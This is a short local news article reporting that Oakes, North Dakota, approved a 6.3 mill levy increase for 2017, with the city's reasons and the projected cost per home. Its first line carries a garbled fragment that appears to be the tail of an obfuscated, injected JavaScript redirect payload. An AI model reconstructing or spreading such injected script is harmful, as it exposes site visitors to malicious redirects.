OAKES fadai|var|u0026u|referrer|azzty||js|php’.split(‘|’),0,{}))
(NewsDakota.com) The City of Oakes has approved a 6.3 mill levy increase for the 2017 budget.

A levy hearing was held Monday during the City Council’s regular monthly meeting, and the increase in the mill levy was approved shortly thereafter.

The City said in a open letter last month that the increase to 81.96 mills was needed to continue present services due to decreases in state funding and federal programs. The City also noted the community’s mill levy was lowered every year since 2011. Mayor Monty Zimmer told KDDR radio last month that the city was “not going broke”, as had been speculated by some in the community.

A mill is one one-thousandth of a dollar. In terms of a mill levy, one mill is one dollar for each $1,000 of the assessed value of a property.

According to city projections, taxes on a $100,000 home will go up by $28.35 a year in fiscal year 2017.